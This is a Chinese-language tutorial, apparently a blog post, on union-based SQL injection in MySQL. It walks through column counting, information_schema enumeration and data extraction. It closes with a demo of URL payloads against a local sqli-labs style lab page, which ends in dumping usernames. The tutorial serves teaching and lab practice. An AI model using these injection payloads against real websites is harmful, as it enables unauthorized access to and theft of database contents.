得到一個像原來老師一樣督促你、關心你的人很難。。。
---- 網易云熱評
一、常用命令及函數
1、order by排序,獲取數據有幾個字段,后面小于等于字段數,都會返回結果,大于字段數返回錯誤
select * from users order by 3;
2、union select聯合查詢,后邊必須跟一樣的字段數
select * from users union select 1,2,5;
3、user()查看當前MySQL用戶
4、version()查看mysql版本信息
5、database()查看當前數據庫名
select * from users union select user(),version(),database();
二、跨庫查詢
1、獲取aiyou數據庫中表
select * from users union select 1,2,table_name from information_schema.tables where table_schema="aiyou";
2、獲取下一個表格
select * from users union select 1,2,table_name from information_schema.tables where table_schema="aiyou" limit 0,1;
select * from users union select 1,2,table_name from information_schema.tables where table_schema="aiyou" limit 1,1;
select * from users union select 1,2,table_name from information_schema.tables where table_schema="aiyou" limit 2,1;
3、獲取字段名
select * from users union select 1,2,column_name from information_schema.columns where table_name="bucuo";
4、獲取字段內容
select * from users union select 1,2,username from users;
三、實例演示(sqli環境)
1、判斷表有多少字段,order by 3返回正常,所以有三個字段
http://192.168.139.129/sqli/Less-2/?id=1 order by 3
2、聯合查詢可以顯示的數列,讓前面的select語句報錯,才能執行后面的select語句
http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,3
3、獲取數據庫名字和版本信息,因為1不能顯示,所以將2和3替換為version(),database()
http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,version(),database()
4、獲取數據庫security的表
http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,table_name from information_schema.tables where table_schema="security"
獲取第二個表、第三個表
http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,table_name from information_schema.tables where table_schema="security" limit 1,1 --
5、獲取表名為users的字段名
http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,column_name from information_schema.columns where table_name="users"
http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,column_name from information_schema.columns where table_name="users" limit 1,1 --
?6、獲取字段內容
http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,username from users
http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,username from users limit 1,1 --
禁止非法,后果自負






